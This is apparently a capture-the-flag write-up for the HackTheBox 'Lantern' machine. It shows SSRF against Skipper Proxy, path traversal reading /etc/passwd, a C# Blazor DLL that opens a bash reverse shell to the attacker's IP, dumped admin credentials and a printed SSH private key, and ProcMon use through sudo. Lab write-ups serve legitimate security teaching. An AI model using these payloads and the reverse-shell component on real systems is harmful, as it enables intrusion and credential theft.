Lantern – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Synopsis Link to heading
“Lantern” is a Hard machine from HackTheBox
platform. It teaches how to execute a Server-Side Request Forgery
for a Skipper Proxy
vulnerable version to CVE-2022-38580. We are able to also find credentials for a Blazor
service running to gain access to the victim machine. Finally, we learn how to use ProcMon
to monitor a script being executed by root
, read its log and extract credentials.
User Link to heading
Nmap
scan shows only 3 ports open: 22
SSH
, 80
HTTP
and 3000
another HTTP
service:
❯ sudo nmap -sVC -p22,80,3000 10.10.11.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 22:24 -03
Nmap scan report for 10.10.11.29
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
<SNIP>
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Thu, 14 Nov 2024 01:24:13 GMT
|_ Server: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.43 seconds
From the scan output I can see that HTTP
site is attempting to resolve the domain lantern.htb
. We add this domain to our /etc/hosts
file running:
❯ echo '10.10.11.29 lantern.htb' | sudo tee -a /etc/hosts
Using then WhatWeb
against the site shows:
❯ whatweb -a 3 http://lantern.htb
http://lantern.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.10.11.29], Meta-Author[Devcrud], Script, Title[Lantern]
The site is running Skipper Proxy
.
Searching, we find Skipper Proxy
Github repository, where they provide a description:
Skipper
is an HTTP
router and reverse proxy for service composition. It’s designed to handle >300k HTTP
route definitions with detailed lookup conditions, and flexible augmentation of the request flow with filters. It can be used out of the box or extended with custom lookup, filter logic and configuration sources.Visiting http://lantern.htb
in a web browser shows a simple site about IT
:
At the top we can see a Vacancies
button. Clicking on it shows the company is hiring people. They also provide names of some potential technologies the site could be using like PHP
with Laravel
, MySQL
, PostgreSQL
, C-Sharp
, among others:
At the very bottom of the site we are allowed to upload a Resume file (I assume a .pdf
). We upload a test .pdf
file. We only get a message that says we will be contacted as soon as possible for our submission. I then intercept the requqets sent with Burpsuite
where we get:
POST /submit HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://lantern.htb/vacancies
Content-Type: multipart/form-data; boundary=---------------------------2118721173461543641767529709
Content-Length: 1204285
Origin: http://lantern.htb
DNT: 1
Connection: close
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="name"
test
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="email"
test@test.com
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="vacancy"
Middle Frontend Developer
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="message"
HTB
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="resume"; filename="test.pdf"
Content-Type: application/pdf
%PDF-1.4
%Óëéá
1 0 obj
<SNIP>
Nothing interesting for the moment.
Visiting http://lantern.htb:3000
shows a simple log panel:
But this is apparently not vulnerable to some injections and default credentials do not work. So we might come back to this site later.
At this point, since uploading files did not return anything interesting, we sill search for vulnerabilities. Skipper Proxy
shows a vulnerability labeled as CVE-2022-38580, with a public exploit in exploit-db
that can be obtained here. It is a Server-Side Request Forgery
(SSRF
) vulnerability. The proof of concept is pretty straightforward:
1- Add header "X-Skipper-Proxy" to your request
2- Add the aws metadata to the path
An example provided is:
GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close
To test if this works we start a simple HTTP
Python
server on port 8000
:
❯ python3 -m http.server 8000
and, using Burpsuite
, we intercept the request sent when we just visit http://lantern.htb
and add the header X-Skipper-Proxy: http://10.10.16.2:8000
, so the request is now:
GET / HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Skipper-Proxy: http://10.10.16.2:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
and we get something:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.29 - - [13/Nov/2024 23:00:18] code 404, message File not found
10.10.11.29 - - [13/Nov/2024 23:00:18] "GET http://lantern.htb/ HTTP/1.1" 404 -
The server is vulnerable.
We note that when we change the value to X-Skipper-Proxy: http://127.0.0.1:80
, since we do know that port 80
is open, we get status code 200
. The same happens if we point to http://127.0.0.1:3000
, where we can get an interesting response:
The server is running Blazor
on port 3000
. We can see how we have exploited this service in Blazorized machine WriteUp. We will go for port 3000
later.
However, we get code 503
if we request a totally random port like 11111
.
This is interesting since we can use this SSRF
vulnerability to enumerate internal services exposed. For this we can use ffuf
and only keep responses that return status code 200
:
❯ ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -w <(seq 1 65535) --mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://lantern.htb
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Hard/Lantern/exploits/ports.txt
:: Header : X-Skipper-Proxy: http://127.0.0.1:FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
80 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 264ms]
3000 [Status: 200, Size: 2862, Words: 334, Lines: 58, Duration: 527ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 351ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 251ms]
:: Progress: [65535/65535] :: Job [1/1] :: 136 req/sec :: Duration: [0:07:18] :: Errors: 0 ::
We have 4 ports open: 80
, 3000
(which we already got with Nmap
scan since they were exposed), 5000
and 8000
.
Checking the content obtained when we point to http://127.0.0.1:5000
(with a tool like Burpsuite
) returns the response:
<SNIP>
<div id="blazor-error-ui">
An unhandled error has occurred.
<a href="" class="reload">Reload</a>
<a class="dismiss">🗙</a>
</div>
<script src="_framework/blazor.webassembly.js"></script>
</body>
<SNIP>
We cannot get to this path from the outside (for example, using cURL
):
❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
But we can if we use the SSRF
vulnerability:
❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js -H "X-Skipper-Proxy: http://127.0.0.1:5000"
(()=>{"use strict";var e,t,n;!function(e){window.DotNet=e;const t=[],n=new Map,r=new Map,o="__jsObjectId",s="__byte[]";class a{constructor(e){this._jsObject=e,this._cachedFunctions=new Map}findFunction(e){const
<SNIP>
We can read this JavaScript
file.
We can save it:
❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js -H "X-Skipper-Proxy: http://127.0.0.1:5000" > blazor.webassembly.js
and paste its content into https://beautifier.io/ which will make the code prettier and easier to read.
Then, searching for framework
shows some interesting lines of code:
class Ue {
constructor(e, t) {
this.bootConfig = e, this.applicationEnvironment = t
}
static async initAsync(e, t) {
const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json"),
r = n instanceof Promise ? await n : await a(null != n ? n : "_framework/blazor.boot.json"),
o = t || r.headers.get("Blazor-Environment") || "Production",
s = await r.json();
return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new Ue(s, o);
async function a(e) {
return fetch(e, {
method: "GET",
credentials: "include",
cache: "no-cache"
})
}
}
}
This class is calling _framework/blazor.boot.json
.
It remembers me to Blazorized
machine, where we had the same file exposed that was also exposing some .dll
files.
We check this resource then:
❯ curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000"
{
"cacheBootResources": true,
"config": [ ],
"debugBuild": true,
"entryAssembly": "InternaLantern",
"icuDataMode": 0,
"linkerEnabled": false,
"resources": {
"assembly": {
"Microsoft.AspNetCore.Authorization.dll": "sha256-hGbT4jDhpi63093bjGt+4XVJ3Z9t1FVbmgNmYYmpiNY=",
"Microsoft.AspNetCore.Components.dll": "sha256-NJ2GmZOAzlolS7ZPvt5guh86ICBupqwCNK0ygg7fkhE=",
"Microsoft.AspNetCore.Components.Forms.dll": "sha256-YEcUfJbV\/+SrxppUEKn5jqOg8WptBrdAGaDG+psN8Yg=",
<SNIP>
"System.Private.CoreLib.dll": "sha256-6rKu8tPdUGsvbSpesoNMVzbx7bNqPRMPV34eI7vSYaQ=",
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
},
"extensions": null,
<SNIP>
"dotnet..lzvsyl6wav.js": "sha256-6AcYHsbEEdBjeNDUUvrQZuRqASd62mZgQgxz4uzTVGU="
},
"satelliteResources": null
}
}%
We have a .dll
file named InternaLantern.dll
.
This resource exists:
❯ curl -s -I http://lantern.htb/_framework/InternaLantern.dll -H "X-Skipper-Proxy: http://127.0.0.1:5000"
HTTP/1.1 200 OK
Accept-Ranges: bytes
Blazor-Environment: Production
Cache-Control: no-cache
Content-Length: 55808
Content-Type: application/octet-stream
Date: Thu, 14 Nov 2024 03:18:40 GMT
Etag: "1dae2d626a30800"
Last-Modified: Tue, 30 Jul 2024 23:13:56 GMT
Server: Skipper Proxy
We can download this resource using wget
along with --header
to apply the SSRF
:
❯ wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll
--2024-11-14 00:21:18-- http://lantern.htb/_framework/InternaLantern.dll
Resolving lantern.htb (lantern.htb)... 10.10.11.29
Connecting to lantern.htb (lantern.htb)|10.10.11.29|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 55808 (54K) [application/octet-stream]
Saving to: ‘InternaLantern.dll’
InternaLantern.dll 100%[========================================================================================>] 54.50K 75.1KB/s in 0.7s
2024-11-14 00:21:19 (75.1 KB/s) - ‘InternaLantern.dll’ saved [55808/55808]
We can then bring these files to a Windows
machine and analyze them with DotPeek
or dnSpy
. But we will use a tool that can be used from Linux
named AvalonialLSpy
(that can be grabbed from its Github repository). Download the version from Releases
for our architecture, decompress the file that comes (you will have a compressed file within the compressed file) and search for ILSpy
binary in artifacts
directory. Execute it. Then, just go to File -> Open
and open the downloaded .dll
file. Eventually, at InternalLantern -> InternalLantern.Pages -> Internal
we can see the info of some users at OnInitializedAsync
function:
We have some users with an encoded message in base64
.
I save all the encoded info in a file and decode their value:
❯ cat encoded_dll_info.txt
SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
❯ for encoded in $(cat encoded_dll_info.txt); do echo $encoded | base64 -d; echo; done
Head of sales department, emergency contact: +4412345678, email: john.s@example.com
HR, emergency contact: +4412345678, email: anny.t@example.com
FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
We have credentials: admin:AJbFA_Q@925p9ap#22
.
We can then remember the login portal running on at http:/lantern.htb:3000
and see if these credentials work:
They worked. We are in.
Clicking on Files
folder at the left side we can see an app.py
file with the content:
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)
Basically, it is running a Flask
server on internal port 8000
(that we discovered that was already open with ffuf
scan)
After inspecting the code, this is the code that was storing the .pdf
Resumee we uploaded at the beginning. So, basically, service at port 80
(http://lantern.htb
) is running Skipper Proxy
and redirecting the traffic to the Flask
application. The interesting part is in the line:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
The input is not sanitized and, therefore, we can add ../
parameter to attempt a Path Traversal
.
We also note at the left side that if we click on Upload content
we can upload simple images:
and the file is now located at Files
directory:
We can check if the Path Traversal
works attempting to use this parameter attempting to read app.py
file, for example:
❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../var/www/sites/lantern.htb/app&ext=py'
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
<SNIP>
This worked.
But how can we read a file without extension like /etc/passwd
. Well, we could try to read ../../../../../../.././etc/passwd
. We can easily check it in our attacker machine:
❯ cat ../../../../../../.././etc/passwd | head -n 3
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
therefore, we attempt to read /etc/passwd
with this trick:
❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../&ext=./etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
We have 2 users: root
and thomas
:
❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../&ext=./etc/passwd' | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
But this user does not have an exposed id_rsa
file or something similar.
Back to the panel at http://lantern.htb:3000
, if we search for a file that does not exist we get an error:
It searches for a .dll
file at /opt/components
.
Since the server is looking for .dll
files, and we are able to upload files, we might try to upload a malicious .dll
file. For this, based on this post we will need an extension for Blazor
for Burpsuite
. We install it (go to Extensions -> BApp Store
and search for Blazor
) on Burpsuite
.
Now, let’s create a C#
malicious file. First, create a project:
❯ dotnet new classlib -n revshell
<SNIP>
Then, install the needed packages:
❯ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
<SNIP>
Enter in the project directory named revshell
and edit Class1.cs
file with the content:
using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
namespace revshell{
public class Component : ComponentBase{
protected override void BuildRenderTree(RenderTreeBuilder __builder){
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "/bin/bash";
proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.2/443 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream){
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
where 10.10.16.2
is our attacker IP address and 443
is the port I will start listening with netcat
.
Finally, build the file:
❯ dotnet build -c release
MSBuild version 17.3.0+92e077650 for .NET
Determining projects to restore...
All projects are up-to-date for restore.
revshell -> /home/gunzf0x/HTB/HTBMachines/Hard/Lantern/exploits/revshell_exploit/revshell/bin/release/net6.0/revshell.dll
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:03.87
This will generate files at bin/release/net6.0
directory:
❯ ls -la bin/release/net6.0
total 40
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Nov 14 02:54 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Nov 14 02:51 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 9850 Nov 14 02:54 revshell.deps.json
-rw-rw-r-- 1 gunzf0x gunzf0x 5120 Nov 14 02:54 revshell.dll
-rw-rw-r-- 1 gunzf0x gunzf0x 11288 Nov 14 02:54 revshell.pdb
Back to the web application, I tried to intercept requests sent to the server with Firefox
and FoxyProxy
, but it did not work, at least for Blazor
requests. So we can use the web browser from Burpsuite
. We can then check the HTTP History
, clean the old history, upload a file and focus on the first POST
request sent. In this specific case we get:
POST /_blazor?id=tVCAQun74z6Qp99JNsu8rg HTTP/1.1
Host: lantern.htb:3000
Content-Length: 172
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
X-SignalR-User-Agent: Microsoft SignalR/0.0 (0.0.0-DEV_BUILD; Unknown OS; Browser; Unknown Runtime Version)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://lantern.htb:3000
Referer: http://lantern.htb:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
ªÀ·BeginInvokeDotNetFromJS¡4À¬NotifyChangeÙz`{"id":3,"lastModified":"2024-10-30T00:23:16.470Z","name":"UAC_1.png","size":59370,"contentType":"image/png","blob":{}}`
But some characters are not readable. I also recommend to paste this request to the Repeater
since we will need this request again later. We can now use the plugin. Right click on it and select the plugin:
If the plugin is installed, at the top right side we should have a tab named BTP
. The sent body should be there. Select Blazor->JSON
option and click on Deserialize
:
We can now modify the obtained JSON
object at the right panel. Set as name ../../../../../../../opt/components/revshell.dll
to attempt to upload a file to this path. So the JSON
now is:
[{
"Target": "BeginInvokeDotNetFromJS",
"Headers": 0,
"Arguments": [
"3",
"null",
"NotifyChange",
2,
`{
"blob": {},
"size": 5120,
"name": "../../../../../../../../opt/components/revshell.dll",
"id": 2,
"lastModified": "2024-11-14T05:54:19.455Z",
"contentType": "application/x-msdownload"
}`
],
"MessageType": 1
}]
Copy its content and click on Clear
. Then change the method to JSON->Blazor
and click on Serialize
:
The important part is the serialized payload at the right side. Copy it. We can go back to the original request at the Repeater
and paste the tampered serialized payload instead of the original payload and send the request to upload an “image” (that is modified to upload the malicious .dll
file). Don’t forget to start a listener with netcat
.
Go to the main webpage and search for revshell
:
and in our netcat
listener we get something:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.29] 56360
bash: cannot set terminal process group (6714): Inappropriate ioctl for device
bash: no job control in this shell
tomas@lantern:~/LanternAdmin$ whoami
whoami
tomas
tomas@lantern:~/LanternAdmin$
This user also has an id_rsa
key:
tomas@lantern:~/LanternAdmin$ cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
We save it and use it to connect to the victim machine through SSH
:
❯ chmod 600 tomas_id_rsa # save the key
❯ ssh -i tomas_id_rsa tomas@10.10.11.29
<SNIP>
You have mail.
Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46
tomas@lantern:~$
We can get the user flag.
Root Link to heading
When we logged in through SSH
we can see a message You have mail.
. We can check this:
tomas@lantern:~$ cat /var/mail/tomas
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!
Hi Tomas,
Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.
While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
Exciting times ahead!
Best.
It talks about a script /root/automation.sh
.
We don’t have access to this file:
tomas@lantern:~$ ls -la /root/automation.sh
ls: cannot access '/root/automation.sh': Permission denied
So this might be a useful hint for later.
Checking what can this user run with sudo
we have something:
tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
We can run ProcMon
.
This is a tool for Windows
to register events, except we are on a Linux
machine. There is a ProcMon for Linux that has similar utilities. Actually, from its usage section we can see we have the same output:
tomas@lantern:~$ sudo /usr/bin/procmon -h
procmon [OPTIONS...]
OPTIONS
-h/--help Prints this help screen
-p/--pids Comma separated list of process ids to monitor
-e/--events Comma separated list of system calls to monitor
-c/--collect [FILEPATH] Option to start Procmon in a headless mode
-f/--file FILEPATH Open a Procmon trace file
But slightly different (so it has to be an slightly old version).
We can check running processes on the machine owned by root
:
tomas@lantern:~$ ps aux | grep root | grep "\.sh"
root 7272 0.0 0.1 7272 4212 pts/0 Ss+ 08:00 0:00 nano /root/automation.sh
The script is running with nano
.
Use ProcMon
to inspect the automated script based on its PID
(7272
in this case):
tomas@lantern:~$ sudo /usr/bin/procmon -p 7272 -e write
In file included from <built-in>:2:
In file included from /virtual/include/bcc/bpf.h:12:
In file included from include/linux/types.h:6:
In file included from include/uapi/linux/types.h:14:
<SNIP>
and we should see a window like:
Wait some minutes and press F6
to save the logs and F9
to exit.
Once done that, we have a .db
file in our directory owned by root
:
tomas@lantern:~$ ls -la
total 1232
drwxr-x--- 9 tomas tomas 4096 Nov 14 08:15 .
drwxr-xr-x 3 root root 4096 Dec 24 2023 ..
<SNIP>
drwxrwxr-x 4 tomas tomas 4096 Dec 26 2023 .nuget
-rw-r--r-- 1 root root 1212416 Nov 14 08:15 procmon_2024-11-14_08:11:17.db
-rw-r--r-- 1 tomas tomas 807 Jan 6 2022 .profile
<SNIP>
